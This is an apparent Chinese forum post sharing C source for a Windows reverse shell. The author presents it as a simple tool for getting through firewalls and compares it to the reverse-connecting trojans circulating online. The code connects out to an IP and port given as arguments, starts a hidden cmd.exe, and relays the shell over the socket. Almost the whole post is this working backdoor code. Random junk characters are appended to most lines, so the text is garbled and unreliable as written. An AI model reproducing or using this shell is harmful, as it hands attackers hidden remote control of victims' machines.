这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )}7rM6hv
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/* ============================== j#0@%d
Rebound port in Windows NT A3 bE3Fk$
By wind,2006/7 !["WnF{5eC
===============================*/ H{`S/>)[
#include m>? OjA!
#include 5+'1 :Sa(i
4 ?,N;Q
#pragma comment(lib,"wsock32.lib") _w=si?q
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void OutputShell(); $v+Q~\'
SOCKET sClient; N'!a{rF
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";
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void main(int argc,char **argv) BD9W-mF
{ {(AYs*5
WSADATA stWsaData; 'ac %]}`-
int nRet; M"#xjP.
SOCKADDR_IN stSaiClient,stSaiServer; 9dr\=e6) C
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if(argc != 3) u:3~Ius
{ zVYX#- nv
printf("Useage:\n\rRebound DestIP DestPort\n"); sC48o'8(
return; AY{caM
} ?x"<0k1g
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WSAStartup(MAKEWORD(2,2),&stWsaData); {d(@o!;Fi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $+)SW{7
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stSaiClient.sin_family = AF_INET; gEMxK2MNXj
stSaiClient.sin_port = htons(0); {?17Zth
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :03w k)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6+e@)[l.zc
{ dmW0SK
printf("Bind Socket Failed!\n"); )VID
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return; ne4hR]:
} I8)x0)Lx
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stSaiServer.sin_family = AF_INET; r'uD|T H
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); znzh$9tH
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b'4{l[3~nl
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?k]^?7GN
{ pM=@
printf("Connect Error!"); <V#9a83JP
return; ds,NNN<HW
} 9sifc<za
OutputShell(); "m.j cKt
} iVLfAN @
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void OutputShell() r1yz ?Y_P
{ M3c-/7
char szBuff[1024]; h.E8G^}@
SECURITY_ATTRIBUTES stSecurityAttributes; /\V-1 7-
OSVERSIONINFO stOsversionInfo; (PE x<r1
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8hZ+[E}
STARTUPINFO stStartupInfo; @-Tt<pl'L
char *szShell; 6Lr G+p`
PROCESS_INFORMATION stProcessInformation; 1WRQjT=o
unsigned long lBytesRead; a.#`>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ds?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~tWIVj{
stSecurityAttributes.lpSecurityDescriptor = 0; h5e(Avk
stSecurityAttributes.bInheritHandle = TRUE; $014/IB
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z^j7wMQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _8Cw_
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c!vtQ<h-
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E*'sk
stStartupInfo.wShowWindow = SW_HIDE; sygxV
stStartupInfo.hStdInput = hReadPipe; d
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DJvmwFx
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GetVersionEx(&stOsversionInfo); @&p:J0hbp
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switch(stOsversionInfo.dwPlatformId) >M=_:52.+
{ PTrKnuM\J_
case 1: <fg~+{PA&
szShell = "command.com"; L&ucTc=
break; 7ESSx"^B
default: F_.rLgGY
szShell = "cmd.exe"; CT,P Q
break; Yl4XgjG
} Is1P,`*!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); viB'ul7o
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send(sClient,szMsg,77,0); Wu3or"lcw*
while(1) g<pr(7jO
{ yNCd}
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [qbZp1s|(
if(lBytesRead) 4&%0%
{ Cw6\'p%l-\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0M=A,`qk
send(sClient,szBuff,lBytesRead,0); (iQ<
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} 0z&]imU
else @+Ch2Lod
{ .aS`l~6
lBytesRead=recv(sClient,szBuff,1024,0); KUJCkwQ
if(lBytesRead<=0) break; mq
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K!W7a~
@
} q:h7Jik
} )!z4LE
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return; kNq>{dNRx
}